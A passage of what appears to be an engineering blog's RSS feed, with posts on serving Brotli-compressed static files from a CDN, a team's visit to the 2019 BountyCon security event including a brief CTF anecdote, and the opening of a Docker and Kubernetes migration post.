9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Brotli Compression for all Static Files</h2> <a href="https://github.com/google/brotli/blob/master/c/tools/brotli.md">Brotli</a> is a compression technique introduced by google. It is a lossless compression algorithm that compresses data by using the combination of the LZ77 algorithm, Huffman coding, and 2nd order context modelling. It is similar in speed to deflate but offers denser compression. <a href="https://caniuse.com/#search=brotli"><img src="https://lh5.googleusercontent.com/AevuoDiVqRfwwk6feRa7dxx4rk-EPH0QnDWj0-Z5qmJUQJ_OfaKisc2s340Mo4BlS19UczC5ck6C48m-TtETAHiqsTiCgL7hCuL9ntT-rSzpeAqZboNPx-QR8JMVMlOOrPzC4dPE"></a> <h3 id="why-brotli" style="position:relative;"><a href="#why-brotli" aria-label="why brotli permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why brotli?</h3> It is well supported by all popular browsers. It is reported to have <a href="https://paulcalvano.com/index.php/2018/07/25/brotli-compression-how-much-will-it-reduce-your-content/">gains up to 25%</a> over gzip compression. This info was enough to get us focussed on implementing Brotli on our <a href="https://engineering.wingify.com/posts/dynamic-cdn/">CDN</a>. Fewer bytes transferred over the network not only leads to a decrease in the page load time but also decreases the cost of serving the file. <h3 id="why-just-static-files" style="position:relative;"><a href="#why-just-static-files" aria-label="why just static files permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why just Static Files?</h3> We found that compressing resources on the fly won’t lead to performance optimization in a straightforward manner as compression time which is on the higher side for brotli as compared to gzip might impact response time. See <a href="https://blogs.dropbox.com/tech/2017/04/deploying-brotli-for-static-content/">https://blogs.dropbox.com/tech/2017/04/deploying-brotli-for-static-content/</a> for more details. So we avoided that in the first implementation. Also, as Brotli is meant to compress text files and shouldn’t be used for binary files, we skipped images from brotli compression. <h3 id="steps-we-took-to-move-from-gzip-to-brotli-for-static-files" style="position:relative;"><a href="#steps-we-took-to-move-from-gzip-to-brotli-for-static-files" aria-label="steps we took to move from gzip to brotli for static files permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Steps we took to move from gzip to Brotli for Static Files</h3> Brotli Compression was something that would be enabled for all of our customers at once(Per account strategy wasn’t possible as the static requests don’t contain VWO Account Id) and we had to be extra sure that in no circumstance our customers’ data is impacted. So, carefully followed the following steps: <ul> <li> We compressed all the static files during our NodeJS based Build process with the highest level of compression Level(i.e. 11) <ul> <li> The built files contained three versions of the files <ul> <li>Uncompressed</li> <li>Brotli Compressed (.br)</li> <li>Gzip Compressed (.gz)</li> </ul> </li> <li>Earlier we used <a href="https://github.com/foliojs/brotli.js">https://github.com/foliojs/brotli.js</a> but we found that it failed to compress small files(<a href="https://github.com/foliojs/brotli.js/issues/19">https://github.com/foliojs/brotli.js/issues/19</a>). So, we moved to <a href="https://github.com/MayhemYDG/iltorb">https://github.com/MayhemYDG/iltorb</a>. Our automation caught this bug. More on automation later.</li> </ul> </li> <li> We use OpenResty at our <a href="https://engineering.wingify.com/posts/dynamic-cdn/">CDN</a> and we already had certain rewrite rules in Lua in place to be able to serve different content to different browsers. There we added support for serving already compressed brotli files. <ul> <li>We read the ‘Accept-Encoding’ header and identified the encoding supported by the UserAgent from there.</li> <li>If the UserAgent claimed to support brotli we served brotli otherwise, we served gzip. We assume that there is no browser that doesn’t support gzip which is validated by <a href="https://caniuse.com/#search=gzip">https://caniuse.com/#search=gzip</a></li> <li>We made sure the Vary: Accept-Encoding response header is set in all cases. More on this later.</li> </ul> </li> <li>Before making it to the production we wanted to be sure that in the production all browsers which claim to have the support of brotli are able to decompress at the highest level of compression. For this, we decided to compress our most used library and served it on vwo.com as an independent request. We identified a particular string in the library and made sure that it was present every time. In case it’s not present or the response code wasn’t 200 we logged it as an error on Sentry. We monitored the logs for 2 days and found no issues. So, all ok from this angle.</li> <li>Due to the relatively complex release process of VWO libraries, it wasn’t practical to create brotli files for all the possible static files [We have versioning for all files]. Due to this, we had to modify Nginx conf location blocks to force any requests to deprecated files to redirect to the latest stable version of that file. It required all possible static content serving endpoints to be tested.</li> </ul> <h3 id="how-did-we-make-sure-that-there-were-no-issues-with-the-release" style="position:relative;"><a href="#how-did-we-make-sure-that-there-were-no-issues-with-the-release" aria-label="how did we make sure that there were no issues with the release permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we make sure that there were no issues with the release?</h3> To ensure that there were no issues with the new version of the VWO library we wrote Request Response based automation test cases for our CDN in addition to the existing e2e test cases. We created a list of all possible static files that are served by our CDN by scanning all our libraries built code through automation. We combined it with all the possible versions of our libraries and it created a list of all possible endpoints (including some non-existent endpoints as some files are not servable in certain versions) that we have. It verified the following things for all those endpoints:- <ul> <li>For different variations of the Accept-Encoding request header file with the expected compression was served. Expected Compression was verified by Checking the Content-Encoding Response Header.</li> <li>Status Code is 200. If the Status Code is non-200 (Remember there were non-existent endpoints in it), it would verify it with one of the designated production CDN nodes to see if that also returned the same non-200 status code. If yes, then it’s a non-existent endpoint otherwise it’s a bug.</li> <li>We have endpoints like <a href="http://dev.visualwebsiteoptimizer.com/6.0/va.js">https://dev.visualwebsiteoptimizer.com/6.0/va.js</a>. Here 6.0 means 6.0 version of the library. We used the framework to ensure that the content for the request corresponds to the requested version. Almost all of our files have versioning information in them.</li> <li>Bonus, we used the effort done in framework implementation to verify licenses also for all of our endpoints. Plus, the framework is flexible enough to verify anything in response.</li> </ul> We didn’t make the changes live in one go on all our CDN nodes. We started with a node with the least amount of traffic with careful monitoring. We monitored the logs for a day and then proceeded to make it live on the other servers as well. Our Testing library - Most Used[Sizes are with the new version in which jQuery doesn’t exist] With gzip <img src="https://lh5.googleusercontent.com/tgRjC_VNMrWMr0Lirng3CyPMQzxfFEsfvCbWf4WpPkvP-9ArudoMXCP8OhHbWxhOi-bAMAHAW_w1eFBs2A-cb9TWQBcQ0k3icv1Lvv9FZO43uWpSuHQiV_jIhPntr4xNKoG5ggfB"> With Brotli <img src="https://lh6.googleusercontent.com/knj7kYBN3217lPwqPC25gsL4lwB9u0L2r2XYOTnjnvzzCZoCIAmJgn-6Esh-eLZmLQOn0MUV-XO_c7ocZhoi_2l8xUIII_88hU7z6aMS30e6fKudh42HdUOAKqZ5W4WemHVhVGOp"> <h3 id="the-importance-of-vary-header" style="position:relative;"><a href="#the-importance-of-vary-header" aria-label="the importance of vary header permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The importance of Vary Header</h3> To make sure that any HTTP Cache does not cache a specific compressed file and serve it for all UserAgents regardless of the decompression support at that UserAgent, we are using the vary header with Accept-Encoding to make sure the right file is served to the User-Agent. You can read more about it at <a href="https://www.fastly.com/blog/best-practices-using-vary-header">https://www.fastly.com/blog/best-practices-using-vary-header</a> <h3 id="future-plans" style="position:relative;"><a href="#future-plans" aria-label="future plans permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Future Plans</h3> Currently this library is available for new customers only. But we are planning to deploy this library for all of our existing customers. It would require to figure out if they are using any jQuery method directly or not. Also, we would be experimenting with brotli compression on the fly for our non-static files. This is not the end of our performance improvement journey. Stay tuned !</content:encoded><author>Shubham Soni, Udit Chawla</author></item><item><title><![CDATA[Three Wingifighters at the BountyCon]]></title><description><![CDATA[On March 29th, 2019, our team members Ankit Jain, Dheeraj Joshi and I had the privilege to attend a very exclusive event called BountyCon in…]]></description><link>https://engineering.wingify.com//posts/three-wingifighters-at-the-bountycon/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/three-wingifighters-at-the-bountycon/</guid><pubDate>Wed, 18 Dec 2019 00:00:00 GMT</pubDate><content:encoded> On March 29th, 2019, our team members <a href="https://twitter.com/ankneo">Ankit Jain</a>, <a href="https://twitter.com/dheerajhere">Dheeraj Joshi</a> and I had the privilege to attend a very exclusive event called <a href="https://www.facebook.com/notes/facebook-bug-bounty/introducing-bountycon/2415701251777420/">BountyCon</a> in Singapore at Facebook APAC HQ. This was an invitation-only event organized by Facebook and Google, that gave Security Researchers and University Students an opportunity to hear from some of the brightest minds in the field of Bug Bounty Hunting. The purpose of BountyCon was to bring together researchers from all over the Asia-Pacific region under one roof to collaborate, network and submit security flaws across both platforms during the live hacking event. In this blog post, I will cover my experience with the BountyCon, how the conference turned out, impression on the CTF event, and overall thoughts about the Conference experience! <h2 id="how-did-we-get-the-invitation" style="position:relative;"><a href="#how-did-we-get-the-invitation" aria-label="how did we get the invitation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we get the invitation?</h2> In January 2019, Facebook and Google launched a Capture the Flag competition (CTF) for the first time to identify new whitehats in the Asia-Pacific region. Like everyone, we signed up for this competition and were super excited about this event. So there were several reasons that led me to participate in this competition. <ul> <li>Chance to visit Singapore: Top 20 winners were to be awarded free flight tickets and accommodations in Singapore to attend the event.</li> </ul> <div style="text-align:left;margin:50px"> <img src="https://static.wingify.com/gcp/uploads/sites/5/2019/12/excited.gif" style="box-shadow: 2px 2px 10px 1px #222; width: 320px; height: auto;"> </div> <ul> <li>Meeting new Researchers: How could I miss a chance to be in an environment where everyone speaks your language.</li> </ul> <div style="text-align:left;margin:50px"> <img src="/images/2019/12/harry_potter.gif" style="box-shadow: 1px 1px 10px 1px #222; width: 320px; height: auto;"> </div> <ul> <li>Facebook, Singapore HQ: - Yes! The venue for this event was at the Facebook office and I was thrilled to visit their new APAC HQ.</li> </ul> <div style="text-align:left;margin:50px"> <img src="/images/2019/12/facebook_office.jpg" style="box-shadow: 1px 1px 10px 1px #222; width: 320px; height: auto;"> </div> <ul> <li>Facebook and Google swags: Just a cherry on the top!</li> </ul> Anyways, the objective of this competition was to perform passive recon (the number of flags planted wasn't revealed) against the target (Google and Facebook) and capture as many flags as possible. Most of the challenges were related to OSINT and some of them were related to Web, Cryptography, steganography, and Reverse Engineering. I started the challenge by googling " Bountycon" and at the end of the search, I got a flag inside security.txt file ;) <div style="text-align:center;margin:50px"> <img src="/images/2019/12/security_txt.png" style="box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;"> </div> After capturing the first flag I felt a sense of adrenaline build up inside of me. Over the next two hours, I continued hammering away at my keyboard, consequently solving a few more challenges. <div style="text-align:center;margin:50px"> <img src="/images/2019/12/hunting_mode.gif" style="box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;"> </div> A problem that was both interesting and challenging was the Deeplink challenge. It involved reverse-engineering facebook app and reconstructing the flag from assembly code. So here is how I solved this challenge, thanks to <a href="https://twitter.com/mgill25">Manish Gill</a> for pointing me in the right direction. The first thing that comes to mind when relating CTF and the executable(APK) file is Reverse-Engineering. I quickly downloaded the latest app from <a href="https://www.facebook.com/android_upgrade">https://www.facebook.com/android_upgrade</a>. Using the all-purpose decompiler <a href="https://ibotpeaches.github.io/Apktool/">tool</a> as my first resort, I found the first flag in the AndroidManifest.xml file. <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_manifest_flag.png" style="box-shadow: 1px 1px 10px 1px #222; width: 820px; height: auto;"> </div> But wait, this is not the solution for Deeplink Challenge :P The second flag was even more elusive. To solve the Deeplink challenge, I had to download and decompile the previous release of the facebook app. I downloaded the previous-release(Facebook 203.0.0.16.293) of the Facebook app from <a href="https://www.apkmirror.com/apk/facebook-2/facebook/facebook-203-0-0-16-293-release/">apkmirror</a> and decompiled the resources using apktool. After searching for some time, I found an interesting file called PSaaActivity.smali. <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_deeplink_flag.png" style="box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;"> </div> After going through the assembly code and some debugging I finally found the second flag BountyCon{cr4zy_d33pl1nk_m461c}. By the end of the competition, I solved 18 challenges and earned a total of 943 points. Though it was nowhere near the 1200+ points achieved by Ankit and Dheeraj, I really enjoyed the competition :P :P <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_score.png" style="box-shadow: 1px 1px 10px 1px #222; width: 750px; height: auto;"> </div> After a couple of days, the three of us got an email from the Facebook team and we were delighted to know that we were selected as one of the top 20 winners from the APAC zone. <h2 id="meeting-the-legend-jeff-moss" style="position:relative;"><a href="#meeting-the-legend-jeff-moss" aria-label="meeting the legend jeff moss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Meeting the legend Jeff Moss</h2> On March 28, we started from Delhi at around 11:00 PM and we reached Singapore on Friday morning. After a quick fresh-up at our hotel, we headed out for a walk in the city and ended up at Starbucks. While we were chilling at Starbucks, Dheeraj got to know about an event "<a href="https://www.meetup.com/A-CON-Meetup/events/259861622/">ALIBABA SECURITY Meetup</a>" on twitter. This was a security meetup that was hosted by the Lazada security team and the Alibaba Security Response Center. So, quickly we guys registered ourselves on their online forum and set out to attend the meetup. We reached at around 7:00 PM to the venue of the meetup, Lazada Visitor Centre. After the opening ceremony, we had a chance to meet and greet the legend <a href="https://twitter.com/thedarktangent">Jeff Moss</a>, Founder of <a href="https://www.defcon.org/">Defcon</a> and <a href="https://www.blackhat.com/">Blackhat</a>. It was a great honor to meet him in person! <div style="text-align:center;margin:50px"> <img src="/images/2019/12/alibaba_1.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/AsrcSecurity">@AsrcSecurity</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/alibaba_2.png" style="box-shadow: 1px 1px 10px 1px #222; width: 300px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/AsrcSecurity">@AsrcSecurity</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/alibaba_3.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/AsrcSecurity">@AsrcSecurity</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/alibaba_4.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/AsrcSecurity">@AsrcSecurity</a> </div> </div> The rest of our day consisted of an awesome dinner and afterward, we returned to our hotel and called it a night. <h2 id="first-day-of-bountycon" style="position:relative;"><a href="#first-day-of-bountycon" aria-label="first day of bountycon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>First Day of BountyCon</h2> On the 30th March 2019, the first day of BountyCon, we reached at the venue of BountyCon, Facebook APAC HQ at around 8:30 AM. After registration, we got a cool badge, a BountyCon goodie bag with Google Tshirt, a BountyCon hoodie, a thermos flask and Notepad in it. The first talk was by <a href="https://twitter.com/fransrosen">Frans Rosen</a>, Security Advisor at Detectify, he gave a walkthrough on methodology and strategies to win big bounties. Here is a link to his <a href="https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big">presentation</a>. Some of the top Security Researchers and Security Engineers that included <a href="https://twitter.com/fin1te">Jack</a><a href="https://twitter.com/fin1te">Whitton</a>, <a href="https://www.linkedin.com/in/maciej-szaw%C5%82owski-90b18951">Maciej Szawłowsk</a>, <a href="https://twitter.com/securityyasin">Yasin Soliman</a>, Richard Neal, <a href="https://twitter.com/hivarekarpranav">Pranav Hivarekar</a>, <a href="https://twitter.com/whhackersbr">João Lucas Melo Brasio</a>, Mykola Babii, and <a href="https://www.linkedin.com/in/mjezierny/">Michael Jezierny</a> also shared tips like chaining vulnerabilities to increase the impact and also gave some guidelines to pentest android application. The content of the talks was quite interesting, informative and gave a broad overview of the entire bug bounty process. Top 4 CTF Winners, <a href="https://twitter.com/kishanbagaria">Kishan Bagaria</a>, <a href="https://www.linkedin.com/in/homing-tay-538baa58">HoMing Tay</a>, <a href="https://twitter.com/rahulkankrale">Rahul Kankrale</a> and Sachin Thakur gave presentations on approaches they used to find the hidden flags across both the platforms. I recommend checking out the writeup of BountyCon flags by my friend, <a href="https://twitter.com/kishanbagaria">Kishan</a>, here is a link to his <a href="https://kishanbagaria.com/bountycon/">writeup</a>. The long first day ended with a good dinner at Cook &#x26; Brew at The Westin Hotel. <h2 id="second-day-of-bountycon" style="position:relative;"><a href="#second-day-of-bountycon" aria-label="second day of bountycon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Second Day of BountyCon</h2> On the second day of BountyCon, Facebook kicked off with a live hacking event where researchers were challenged to report security bugs across both Facebook and Google. On that day, researchers from various APAC regions and few top researchers from Hackerone had submitted 40 bugs in total and Facebook awarded over $120k for valid submissions. The top three researchers with maximum points were <a href="https://twitter.com/xdzmitry">Dzmitry Lukyanenka</a>, <a href="https://twitter.com/infosec_au">Shubham Shah</a> and <a href="https://twitter.com/Im_AnbuSelvam">Anbu Selvam Mercy</a>. After the award ceremony, the event was wrapped up with an amazing dinner at Nude Grills and a few drinks. Overall it was a worthy learning experience and I would like to thank Facebook and Google for their effort in organizing this event. Here are some of the photos that we took in Singapore and BountyCon: <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_1.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/rraahhuullk">@rraahhuullk</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_2.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/GoogleVRP">@GoogleVRP</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_3.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/ajdumanhug">@ajdumanhug</a> </div> </div> <div style="text-align:center;margin:50px"> <img src="/images/2019/12/bountycon_4.png" style="box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;"> <div style="text-align:center;margin-top:5px;"> Picture Courtesy: <a href="https://twitter.com/InfoSecJon">@InfoSecJon</a> </div> </div></content:encoded><author>Varun PK</author></item><item><title><![CDATA[Wingify towards Docker and Kubernetes]]></title><description><![CDATA[Introduction: At Wingify, we follow microservices based architecture to leverage it's great scalability benefits. We have a lot of…]]></description><link>https://engineering.wingify.com//posts/wingify-towards-docker-kubernetes/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-towards-docker-kubernetes/</guid><pubDate>Tue, 03 Dec 2019 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction:</h2> At Wingify, we follow microservices based architecture to leverage it's great scalability benefits. We have a lot of microservices along with a complex networking setup among them. Currently, all the services are deployed on virtual machines on the cloud. We wanted to improve this architecture set up and use the latest technologies available. To avoid all this we are moving towards <a href="https://www.docker.com/">Docker</a> and <a href="https://kubernetes.io/">Kubernetes</a> world! <h2 id="why-docker-and-kubernetes" style="position:relative;"><a href="#why-docker-and-kubernetes" aria-label="why docker and kubernetes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why Docker and Kubernetes?</h2> The problems we are facing with the existing infrastructure: <ul> <li> Standardization and consistency <ul> <li>There is always an issue of a consistent/standard environment between production and development.</li> <li>Most of our time goes in creating a production like environment during development to rollout bugfixes or create any new features.</li> <li>With the new architecture, now we are more equipped to efficiently analyze and fix bugs within the application. It has drastically reduced the time wasted on "local environment issues" and in turn increased time available to fix actual issues and new feature development.</li> <li>Docker provides a repeatable production like development environment and eliminates the "it works on my machine" problem once and for all.</li> </ul> </li> <li> Local development <ul> <li>It's not easy to develop and debug a service locally and connect it to the rest of the services running on local environment.</li> <li>Constantly redeploying on local environment to test the changes is time consuming.</li> </ul> </li> <li> Auto scaling <ul> <li>The load on the services can never be the same all the time.</li> <li>Keeping the services up for the whole year just to handle the peak load which comes on a few days of the festive season is a waste of resources.</li> <li>Regularly benchmarking the load to scale the services with time is not an optimal way.</li> </ul> </li> <li> Auto service restarts <ul> <li>If the service goes in a hanged state or terminates due to memory leak, resource polling deadlocks, file descriptors issues or anything else, how it is going to restart automatically?</li> <li>Although there are different tools available for multiple languages but setting them up for each service on every server is not ideal.</li> </ul> </li> <li> Load balancing <ul> <li>Adding and maintaining an extra entry point like nginx just to provide load balancing is an overhead.</li> </ul> </li> </ul> We are trying to tackle all these problems in an automated and easy way using Docker, Kubernetes and few open-source tools. <h2 id="our-journey" style="position:relative;"><a href="#our-journey" aria-label="our journey permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Our Journey</h2> We started out from scratch. Read a lot of articles, documentation, tutorials and went through some existing testing and production level open source projects. Some of them solved a few of our problems, for some we found our own way and the rest of them are yet to be solved! Below is a brief idea of all the ideas and approaches we found to solve many of our problems, the final approach we took and comparison between them: <h3 id="common-repository-approach" 